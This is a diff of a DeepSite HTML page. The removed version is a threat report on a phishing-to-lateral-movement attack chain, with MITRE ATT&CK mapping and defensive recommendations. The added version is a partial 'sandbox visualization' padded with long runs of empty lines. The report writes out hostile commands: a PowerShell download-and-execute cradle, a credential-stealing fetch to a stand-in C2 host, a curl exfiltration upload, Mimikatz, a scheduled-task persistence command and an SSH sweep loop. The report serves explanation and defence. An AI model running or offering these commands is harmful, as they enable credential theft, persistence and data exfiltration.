Add 1 files
Browse files- index.html +529 -421
index.html
CHANGED
|
@@ -3,476 +3,584 @@
|
|
| 3 |
<head>
|
| 4 |
<meta charset="UTF-8">
|
| 5 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
-
<title>Advanced Phishing
|
| 7 |
<script src="https://cdn.tailwindcss.com"></script>
|
| 8 |
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
| 9 |
<style>
|
| 10 |
-
.
|
| 11 |
-
content: '';
|
| 12 |
position: absolute;
|
| 13 |
-
left: 24px;
|
| 14 |
-
top: 32px;
|
| 15 |
-
height: calc(100% - 32px);
|
| 16 |
-
width: 2px;
|
| 17 |
background-color: #e5e7eb;
|
|
|
|
| 18 |
}
|
| 19 |
-
.attack-
|
| 20 |
transition: all 0.3s ease;
|
|
|
|
| 21 |
}
|
| 22 |
-
.attack-
|
| 23 |
-
transform:
|
| 24 |
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
|
| 25 |
}
|
| 26 |
-
.
|
| 27 |
-
|
| 28 |
-
background-color: #f8f9fa;
|
| 29 |
-
border-left: 3px solid #3b82f6;
|
| 30 |
-
padding: 0.75rem;
|
| 31 |
-
overflow-x: auto;
|
| 32 |
}
|
| 33 |
-
.
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
border
|
| 38 |
-
|
| 39 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
}
|
| 41 |
</style>
|
| 42 |
</head>
|
| 43 |
-
<body class="bg-gray-
|
| 44 |
-
<div class="container mx-auto px-4 py-8
|
| 45 |
-
|
| 46 |
-
<
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
|
|
|
|
|
|
|
|
|
| 50 |
</div>
|
| 51 |
-
<div class="
|
| 52 |
-
<div class="
|
| 53 |
-
|
| 54 |
-
<i class="fas fa-shield-alt text-red-500"></i>
|
| 55 |
-
</div>
|
| 56 |
-
<div>
|
| 57 |
-
<p class="text-xs text-gray-500">Threat Level</p>
|
| 58 |
-
<p class="font-semibold text-red-600">Critical</p>
|
| 59 |
-
</div>
|
| 60 |
-
</div>
|
| 61 |
</div>
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
<
|
| 67 |
-
|
| 68 |
-
<
|
| 69 |
-
<h3 class="font-semibold text-gray-800 mb-2">Attack Vector</h3>
|
| 70 |
-
<p class="text-sm text-gray-600">Spear phishing with malicious documents/links</p>
|
| 71 |
-
</div>
|
| 72 |
-
<div class="bg-purple-50 p-4 rounded-lg">
|
| 73 |
-
<h3 class="font-semibold text-gray-800 mb-2">Primary Target</h3>
|
| 74 |
-
<p class="text-sm text-gray-600">Internal SSH credentials & sensitive documents</p>
|
| 75 |
-
</div>
|
| 76 |
-
<div class="bg-red-50 p-4 rounded-lg">
|
| 77 |
-
<h3 class="font-semibold text-gray-800 mb-2">Impact</h3>
|
| 78 |
-
<p class="text-sm text-gray-600">Full internal network compromise possible</p>
|
| 79 |
-
</div>
|
| 80 |
</div>
|
| 81 |
-
<p class="text-gray-700">
|
| 82 |
-
This report details a sophisticated attack chain beginning with carefully crafted phishing emails, leading to C2 implantation, credential theft, and lateral movement through internal networks. The attacker demonstrates advanced techniques including domain spoofing, malicious macros, C2 infrastructure obfuscation, and browser session hijacking.
|
| 83 |
-
</p>
|
| 84 |
</div>
|
| 85 |
-
|
| 86 |
-
<!--
|
| 87 |
-
<div class="relative">
|
| 88 |
-
<!--
|
| 89 |
-
<div class="
|
| 90 |
-
<div class="absolute left-
|
| 91 |
-
|
| 92 |
-
|
| 93 |
-
<div class="
|
| 94 |
-
|
| 95 |
-
<div>
|
| 96 |
-
<h3 class="font-bold text-lg text-gray-800">Initial Compromise</h3>
|
| 97 |
-
<p class="text-gray-600 mt-1">Spear Phishing Campaign</p>
|
| 98 |
-
</div>
|
| 99 |
-
<span class="mitre-tag bg-blue-100 text-blue-800">
|
| 100 |
-
<i class="fas fa-envelope mr-1"></i> T1566.001
|
| 101 |
-
</span>
|
| 102 |
-
</div>
|
| 103 |
-
<div class="mt-4">
|
| 104 |
-
<div class="flex items-start">
|
| 105 |
-
<div class="bg-gray-100 p-2 rounded-full mr-3 mt-1">
|
| 106 |
-
<i class="fas fa-user-secret text-gray-600"></i>
|
| 107 |
-
</div>
|
| 108 |
-
<div>
|
| 109 |
-
<h4 class="font-medium text-gray-700">Attack Details</h4>
|
| 110 |
-
<ul class="list-disc pl-5 text-sm text-gray-600 mt-1 space-y-1">
|
| 111 |
-
<li>Email subjects: "紧急通知:阿里云账号异常登录提醒" or "内部会议纪要(机密)"</li>
|
| 112 |
-
<li>Body mimics official Alibaba Cloud communications</li>
|
| 113 |
-
<li>Contains either malicious attachment or phishing link</li>
|
| 114 |
-
</ul>
|
| 115 |
-
|
| 116 |
-
<h4 class="font-medium text-gray-700 mt-3">Technical Indicators</h4>
|
| 117 |
-
<div class="code-block mt-2">
|
| 118 |
-
<p>Attachment: 阿里云安全报告_v2023.pdf (malicious macro)</p>
|
| 119 |
-
<p>Phishing URL: https://aliyun-support[.]com/verify</p>
|
| 120 |
-
<p>Spoofed sender: security@alibaba-inc.com</p>
|
| 121 |
-
<p>Typosquatting domain: al1baba-inc[.]com</p>
|
| 122 |
-
</div>
|
| 123 |
-
</div>
|
| 124 |
-
</div>
|
| 125 |
-
</div>
|
| 126 |
-
</div>
|
| 127 |
</div>
|
| 128 |
-
|
| 129 |
-
<!--
|
| 130 |
-
<div class="
|
| 131 |
-
<div class="
|
| 132 |
-
|
| 133 |
-
</div>
|
| 134 |
-
<div class="attack-step bg-white p-6 rounded-lg shadow-sm border border-gray-200">
|
| 135 |
-
<div class="flex justify-between items-start">
|
| 136 |
-
<div>
|
| 137 |
-
<h3 class="font-bold text-lg text-gray-800">Execution</h3>
|
| 138 |
-
<p class="text-gray-600 mt-1">Malicious Payload Delivery</p>
|
| 139 |
-
</div>
|
| 140 |
-
<span class="mitre-tag bg-purple-100 text-purple-800">
|
| 141 |
-
<i class="fas fa-code mr-1"></i> T1059.001
|
| 142 |
-
</span>
|
| 143 |
-
</div>
|
| 144 |
-
<div class="mt-4">
|
| 145 |
-
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
| 146 |
-
<div>
|
| 147 |
-
<h4 class="font-medium text-gray-700">Malicious Document</h4>
|
| 148 |
-
<div class="code-block mt-2">
|
| 149 |
-
<p>Macro code:</p>
|
| 150 |
-
<p>powershell IEX (New-Object Net.WebClient).DownloadString('http://C2-SERVER/payload.ps1')</p>
|
| 151 |
-
</div>
|
| 152 |
-
<p class="text-sm text-gray-600 mt-2">Downloads and executes Cobalt Strike payload</p>
|
| 153 |
-
</div>
|
| 154 |
-
<div>
|
| 155 |
-
<h4 class="font-medium text-gray-700">Phishing Site</h4>
|
| 156 |
-
<div class="code-block mt-2">
|
| 157 |
-
<p>JavaScript credential theft:</p>
|
| 158 |
-
<p>fetch('http://C2-SERVER/steal', {</p>
|
| 159 |
-
<p> method: 'POST',</p>
|
| 160 |
-
<p> body: JSON.stringify({user: username, pass: password})</p>
|
| 161 |
-
<p>});</p>
|
| 162 |
-
</div>
|
| 163 |
-
<p class="text-sm text-gray-600 mt-2">Perfect replica of Alibaba Cloud login</p>
|
| 164 |
-
</div>
|
| 165 |
-
</div>
|
| 166 |
-
</div>
|
| 167 |
</div>
|
|
|
|
|
|
|
| 168 |
</div>
|
| 169 |
-
|
| 170 |
-
<!--
|
| 171 |
-
<div class="
|
| 172 |
-
<div class="
|
| 173 |
-
|
| 174 |
-
</div>
|
| 175 |
-
<div class="attack-step bg-white p-6 rounded-lg shadow-sm border border-gray-200">
|
| 176 |
-
<div class="flex justify-between items-start">
|
| 177 |
-
<div>
|
| 178 |
-
<h3 class="font-bold text-lg text-gray-800">Persistence</h3>
|
| 179 |
-
<p class="text-gray-600 mt-1">C2 Infrastructure Establishment</p>
|
| 180 |
-
</div>
|
| 181 |
-
<span class="mitre-tag bg-red-100 text-red-800">
|
| 182 |
-
<i class="fas fa-server mr-1"></i> T1572
|
| 183 |
-
</span>
|
| 184 |
-
</div>
|
| 185 |
-
<div class="mt-4">
|
| 186 |
-
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
| 187 |
-
<div>
|
| 188 |
-
<h4 class="font-medium text-gray-700">C2 Configuration</h4>
|
| 189 |
-
<div class="code-block mt-2">
|
| 190 |
-
<p>Cobalt Strike listener:</p>
|
| 191 |
-
<p>windows/x64/reflective PE</p>
|
| 192 |
-
<p>HTTPS with valid certificate</p>
|
| 193 |
-
<p>Multiple IP rotation via CDN</p>
|
| 194 |
-
</div>
|
| 195 |
-
</div>
|
| 196 |
-
<div>
|
| 197 |
-
<h4 class="font-medium text-gray-700">Persistence Methods</h4>
|
| 198 |
-
<div class="code-block mt-2">
|
| 199 |
-
<p>Registry:</p>
|
| 200 |
-
<p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</p>
|
| 201 |
-
<p>Task Scheduler:</p>
|
| 202 |
-
<p>schtasks /create /tn "Windows Update" /tr "C:\Windows\System32\malicious.exe"</p>
|
| 203 |
-
</div>
|
| 204 |
-
</div>
|
| 205 |
-
</div>
|
| 206 |
-
</div>
|
| 207 |
</div>
|
|
|
|
|
|
|
| 208 |
</div>
|
| 209 |
-
|
| 210 |
-
<!--
|
| 211 |
-
<div class="
|
| 212 |
-
<div class="
|
| 213 |
-
|
| 214 |
-
</div>
|
| 215 |
-
<div class="attack-step bg-white p-6 rounded-lg shadow-sm border border-gray-200">
|
| 216 |
-
<div class="flex justify-between items-start">
|
| 217 |
-
<div>
|
| 218 |
-
<h3 class="font-bold text-lg text-gray-800">Credential Access</h3>
|
| 219 |
-
<p class="text-gray-600 mt-1">SSH & Browser Credential Theft</p>
|
| 220 |
-
</div>
|
| 221 |
-
<span class="mitre-tag bg-yellow-100 text-yellow-800">
|
| 222 |
-
<i class="fas fa-key mr-1"></i> T1555
|
| 223 |
-
</span>
|
| 224 |
-
</div>
|
| 225 |
-
<div class="mt-4">
|
| 226 |
-
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
| 227 |
-
<div>
|
| 228 |
-
<h4 class="font-medium text-gray-700">Credential Harvesting</h4>
|
| 229 |
-
<div class="code-block mt-2">
|
| 230 |
-
<p>Browser cookies:</p>
|
| 231 |
-
<p>Mimikatz !sekurlsa::logonpasswords</p>
|
| 232 |
-
<p>SSH keys:</p>
|
| 233 |
-
<p>search C:\Users\*\.ssh\id_rsa</p>
|
| 234 |
-
</div>
|
| 235 |
-
</div>
|
| 236 |
-
<div>
|
| 237 |
-
<h4 class="font-medium text-gray-700">Credential Storage</h4>
|
| 238 |
-
<div class="code-block mt-2">
|
| 239 |
-
<p>Windows Credential Manager:</p>
|
| 240 |
-
<p>cmdkey /list</p>
|
| 241 |
-
<p>SSH config files:</p>
|
| 242 |
-
<p>C:\Users\*\.ssh\config</p>
|
| 243 |
-
</div>
|
| 244 |
-
</div>
|
| 245 |
-
</div>
|
| 246 |
-
</div>
|
| 247 |
</div>
|
|
|
|
|
|
|
| 248 |
</div>
|
| 249 |
-
|
| 250 |
-
<!--
|
| 251 |
-
<div class="
|
| 252 |
-
<div class="
|
| 253 |
-
|
| 254 |
</div>
|
| 255 |
-
<
|
| 256 |
-
|
| 257 |
-
|
| 258 |
-
|
| 259 |
-
|
| 260 |
-
|
| 261 |
-
|
| 262 |
-
|
| 263 |
-
</span>
|
| 264 |
-
</div>
|
| 265 |
-
<div class="mt-4">
|
| 266 |
-
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
| 267 |
-
<div>
|
| 268 |
-
<h4 class="font-medium text-gray-700">SSH Access</h4>
|
| 269 |
-
<div class="code-block mt-2">
|
| 270 |
-
<p>ssh -i id_rsa user@10.0.0.5</p>
|
| 271 |
-
<p>plink.exe -ssh -P 22 -i id_rsa user@10.0.0.6</p>
|
| 272 |
-
</div>
|
| 273 |
-
<p class="text-sm text-gray-600 mt-2">Using stolen credentials for access</p>
|
| 274 |
-
</div>
|
| 275 |
-
<div>
|
| 276 |
-
<h4 class="font-medium text-gray-700">Internal Recon</h4>
|
| 277 |
-
<div class="code-block mt-2">
|
| 278 |
-
<p>nmap -sS 10.0.0.0/24</p>
|
| 279 |
-
<p>for ip in {1..254}; do ssh -o ConnectTimeout=1 user@10.0.0.$ip; done</p>
|
| 280 |
-
</div>
|
| 281 |
-
<p class="text-sm text-gray-600 mt-2">Scanning for additional targets</p>
|
| 282 |
-
</div>
|
| 283 |
-
</div>
|
| 284 |
-
</div>
|
| 285 |
</div>
|
|
|
|
|
|
|
| 286 |
</div>
|
| 287 |
-
|
| 288 |
-
<!--
|
| 289 |
-
<div class="
|
| 290 |
-
<div class="
|
| 291 |
-
|
| 292 |
</div>
|
| 293 |
-
<
|
| 294 |
-
|
| 295 |
-
|
| 296 |
-
|
| 297 |
-
|
| 298 |
-
|
| 299 |
-
|
| 300 |
-
|
| 301 |
-
</span>
|
| 302 |
-
</div>
|
| 303 |
-
<div class="mt-4">
|
| 304 |
-
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
| 305 |
-
<div>
|
| 306 |
-
<h4 class="font-medium text-gray-700">Browser Proxy</h4>
|
| 307 |
-
<div class="code-block mt-2">
|
| 308 |
-
<p>proxychains4 -q -f /path/to/config.txt firefox</p>
|
| 309 |
-
<p>Proxy config: 1.2.3.4:8080</p>
|
| 310 |
-
</div>
|
| 311 |
-
<p class="text-sm text-gray-600 mt-2">MITM for internal application access</p>
|
| 312 |
-
</div>
|
| 313 |
-
<div>
|
| 314 |
-
<h4 class="font-medium text-gray-700">Data Theft</h4>
|
| 315 |
-
<div class="code-block mt-2">
|
| 316 |
-
<p>Target files:</p>
|
| 317 |
-
<p>*.pem, *.key, *.sql, *.db</p>
|
| 318 |
-
<p>Exfiltration:</p>
|
| 319 |
-
<p>split -b 5MB sensitive.tar.gz | curl -X POST -F 'file=@-' http://C2-SERVER/upload</p>
|
| 320 |
-
</div>
|
| 321 |
-
</div>
|
| 322 |
-
</div>
|
| 323 |
-
</div>
|
| 324 |
</div>
|
|
|
|
|
|
|
| 325 |
</div>
|
| 326 |
-
</div>
|
| 327 |
-
|
| 328 |
-
<!-- MITRE ATT&CK Mapping -->
|
| 329 |
-
<div class="mt-12 bg-white p-6 rounded-lg shadow-sm border border-gray-200">
|
| 330 |
-
<h2 class="text-2xl font-bold text-gray-800 mb-4">MITRE ATT&CK Mapping</h2>
|
| 331 |
|
| 332 |
-
|
| 333 |
-
|
| 334 |
-
|
| 335 |
-
|
| 336 |
-
|
| 337 |
-
|
| 338 |
-
|
| 339 |
-
<th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Description</th>
|
| 340 |
-
</tr>
|
| 341 |
-
</thead>
|
| 342 |
-
<tbody class="bg-white divide-y divide-gray-200">
|
| 343 |
-
<tr>
|
| 344 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Initial Access</td>
|
| 345 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Spearphishing Attachment</td>
|
| 346 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">T1566.001</td>
|
| 347 |
-
<td class="px-6 py-4 text-sm text-gray-500">Malicious documents sent via email</td>
|
| 348 |
-
</tr>
|
| 349 |
-
<tr>
|
| 350 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Execution</td>
|
| 351 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">PowerShell</td>
|
| 352 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">T1059.001</td>
|
| 353 |
-
<td class="px-6 py-4 text-sm text-gray-500">Macro executes PowerShell payload</td>
|
| 354 |
-
</tr>
|
| 355 |
-
<tr>
|
| 356 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Persistence</td>
|
| 357 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Registry Run Keys</td>
|
| 358 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">T1547.001</td>
|
| 359 |
-
<td class="px-6 py-4 text-sm text-gray-500">Adds malicious executable to startup</td>
|
| 360 |
-
</tr>
|
| 361 |
-
<tr>
|
| 362 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Credential Access</td>
|
| 363 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Credentials from Password Stores</td>
|
| 364 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">T1555</td>
|
| 365 |
-
<td class="px-6 py-4 text-sm text-gray-500">Harvests SSH keys and browser cookies</td>
|
| 366 |
-
</tr>
|
| 367 |
-
<tr>
|
| 368 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Lateral Movement</td>
|
| 369 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Remote Services: SSH</td>
|
| 370 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">T1021.004</td>
|
| 371 |
-
<td class="px-6 py-4 text-sm text-gray-500">Uses stolen SSH keys for access</td>
|
| 372 |
-
</tr>
|
| 373 |
-
<tr>
|
| 374 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">Exfiltration</td>
|
| 375 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">Exfiltration Over C2 Channel</td>
|
| 376 |
-
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">T1041</td>
|
| 377 |
-
<td class="px-6 py-4 text-sm text-gray-500">Data sent through established C2</td>
|
| 378 |
-
</tr>
|
| 379 |
-
</tbody>
|
| 380 |
-
</table>
|
| 381 |
</div>
|
| 382 |
-
</div>
|
| 383 |
-
|
| 384 |
-
<!-- Recommendations -->
|
| 385 |
-
<div class="mt-8 bg-white p-6 rounded-lg shadow-sm border border-gray-200">
|
| 386 |
-
<h2 class="text-2xl font-bold text-gray-800 mb-4">Defensive Recommendations</h2>
|
| 387 |
|
| 388 |
-
|
| 389 |
-
|
| 390 |
-
|
| 391 |
-
|
| 392 |
-
</div>
|
| 393 |
-
<div>
|
| 394 |
-
<h3 class="font-medium text-gray-800">Enhanced Email Security</h3>
|
| 395 |
-
<ul class="list-disc pl-5 text-sm text-gray-600 mt-1 space-y-1">
|
| 396 |
-
<li>Implement DMARC/DKIM/SPF to prevent sender spoofing</li>
|
| 397 |
-
<li>Deploy advanced attachment sandboxing for macro analysis</li>
|
| 398 |
-
<li>User training on identifying typosquatting domains</li>
|
| 399 |
-
</ul>
|
| 400 |
-
</div>
|
| 401 |
</div>
|
| 402 |
-
|
| 403 |
-
<
|
| 404 |
-
|
| 405 |
-
|
| 406 |
-
|
| 407 |
-
|
| 408 |
-
|
| 409 |
-
|
| 410 |
-
|
| 411 |
-
|
| 412 |
-
|
| 413 |
-
|
| 414 |
-
</
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 415 |
</div>
|
| 416 |
-
|
| 417 |
-
|
| 418 |
-
|
| 419 |
-
|
| 420 |
-
|
| 421 |
-
|
| 422 |
-
|
| 423 |
-
|
| 424 |
-
|
| 425 |
-
|
| 426 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 427 |
</ul>
|
| 428 |
</div>
|
| 429 |
</div>
|
| 430 |
-
|
| 431 |
-
|
| 432 |
-
<div class="bg-
|
| 433 |
-
|
| 434 |
-
|
| 435 |
-
|
| 436 |
-
|
| 437 |
-
<
|
| 438 |
-
<
|
| 439 |
-
<
|
| 440 |
-
|
| 441 |
-
</ul>
|
| 442 |
</div>
|
| 443 |
</div>
|
| 444 |
</div>
|
| 445 |
</div>
|
| 446 |
</div>
|
| 447 |
|
| 448 |
-
<footer class="bg-gray-100 border-t border-gray-200 py-6 mt-12">
|
| 449 |
-
<div class="container mx-auto px-4 text-center text-gray-500 text-sm">
|
| 450 |
-
<p>Advanced Phishing & Lateral Movement Attack Report | Generated on <span id="current-date"></span></p>
|
| 451 |
-
<p class="mt-1">Confidential - For authorized personnel only</p>
|
| 452 |
-
</div>
|
| 453 |
-
</footer>
|
| 454 |
-
|
| 455 |
<script>
|
| 456 |
-
//
|
| 457 |
-
const
|
| 458 |
-
|
| 459 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 460 |
|
| 461 |
-
//
|
| 462 |
-
|
| 463 |
-
|
| 464 |
-
|
| 465 |
-
|
| 466 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 467 |
}
|
| 468 |
});
|
| 469 |
-
|
| 470 |
-
|
| 471 |
-
|
| 472 |
-
|
| 473 |
-
|
| 474 |
-
|
| 475 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 476 |
});
|
| 477 |
</script>
|
| 478 |
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bas" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
|
|
|
|
| 3 |
<head>
|
| 4 |
<meta charset="UTF-8">
|
| 5 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
+
<title>Advanced Phishing Attack Sandbox Visualization</title>
|
| 7 |
<script src="https://cdn.tailwindcss.com"></script>
|
| 8 |
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
| 9 |
<style>
|
| 10 |
+
.network-line {
|
|
|
|
| 11 |
position: absolute;
|
|
|
|
|
|
|
|
|
|
|
|
|
| 12 |
background-color: #e5e7eb;
|
| 13 |
+
z-index: 0;
|
| 14 |
}
|
| 15 |
+
.attack-node {
|
| 16 |
transition: all 0.3s ease;
|
| 17 |
+
z-index: 1;
|
| 18 |
}
|
| 19 |
+
.attack-node:hover {
|
| 20 |
+
transform: scale(1.05);
|
| 21 |
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
|
| 22 |
}
|
| 23 |
+
.malicious {
|
| 24 |
+
border: 2px solid #ef4444;
|
|
|
|
|
|
|
|
|
|
|
|
|
| 25 |
}
|
| 26 |
+
.compromised {
|
| 27 |
+
border: 2px solid #f59e0b;
|
| 28 |
+
}
|
| 29 |
+
.critical {
|
| 30 |
+
border: 2px solid #ef4444;
|
| 31 |
+
}
|
| 32 |
+
.data-flow {
|
| 33 |
+
stroke-dasharray: 5;
|
| 34 |
+
animation: dash 30s linear infinite;
|
| 35 |
+
}
|
| 36 |
+
@keyframes dash {
|
| 37 |
+
to {
|
| 38 |
+
stroke-dashoffset: -1000;
|
| 39 |
+
}
|
| 40 |
+
}
|
| 41 |
+
.tooltip {
|
| 42 |
+
position: absolute;
|
| 43 |
+
padding: 8px;
|
| 44 |
+
background: rgba(0, 0, 0, 0.8);
|
| 45 |
+
color: white;
|
| 46 |
+
border-radius: 4px;
|
| 47 |
+
pointer-events: none;
|
| 48 |
+
font-size: 12px;
|
| 49 |
+
z-index: 100;
|
| 50 |
+
max-width: 300px;
|
| 51 |
}
|
| 52 |
</style>
|
| 53 |
</head>
|
| 54 |
+
<body class="bg-gray-100">
|
| 55 |
+
<div class="container mx-auto px-4 py-8">
|
| 56 |
+
<h1 class="text-3xl font-bold text-center text-gray-800 mb-2">Advanced Phishing Attack Sandbox</h1>
|
| 57 |
+
<p class="text-center text-gray-600 mb-8">Visualization of the complete attack kill chain from initial compromise to data exfiltration</p>
|
| 58 |
+
|
| 59 |
+
<!-- Attack Legend -->
|
| 60 |
+
<div class="bg-white rounded-lg shadow-md p-4 mb-8 grid grid-cols-1 md:grid-cols-4 gap-4">
|
| 61 |
+
<div class="flex items-center">
|
| 62 |
+
<div class="w-4 h-4 rounded-full bg-red-500 mr-2"></div>
|
| 63 |
+
<span class="text-sm">Attacker Infrastructure</span>
|
| 64 |
</div>
|
| 65 |
+
<div class="flex items-center">
|
| 66 |
+
<div class="w-4 h-4 rounded-full bg-blue-500 mr-2"></div>
|
| 67 |
+
<span class="text-sm">Victim Assets</span>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 68 |
</div>
|
| 69 |
+
<div class="flex items-center">
|
| 70 |
+
<div class="w-4 h-4 rounded-full bg-yellow-500 mr-2"></div>
|
| 71 |
+
<span class="text-sm">Compromised Systems</span>
|
| 72 |
+
</div>
|
| 73 |
+
<div class="flex items-center">
|
| 74 |
+
<div class="w-4 h-4 rounded-full bg-green-500 mr-2"></div>
|
| 75 |
+
<span class="text-sm">Data Exfiltration</span>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 76 |
</div>
|
|
|
|
|
|
|
|
|
|
| 77 |
</div>
|
| 78 |
+
|
| 79 |
+
<!-- Sandbox Visualization -->
|
| 80 |
+
<div class="relative bg-white rounded-xl shadow-lg p-6 h-[600px] overflow-hidden border border-gray-200">
|
| 81 |
+
<!-- Background Network Lines -->
|
| 82 |
+
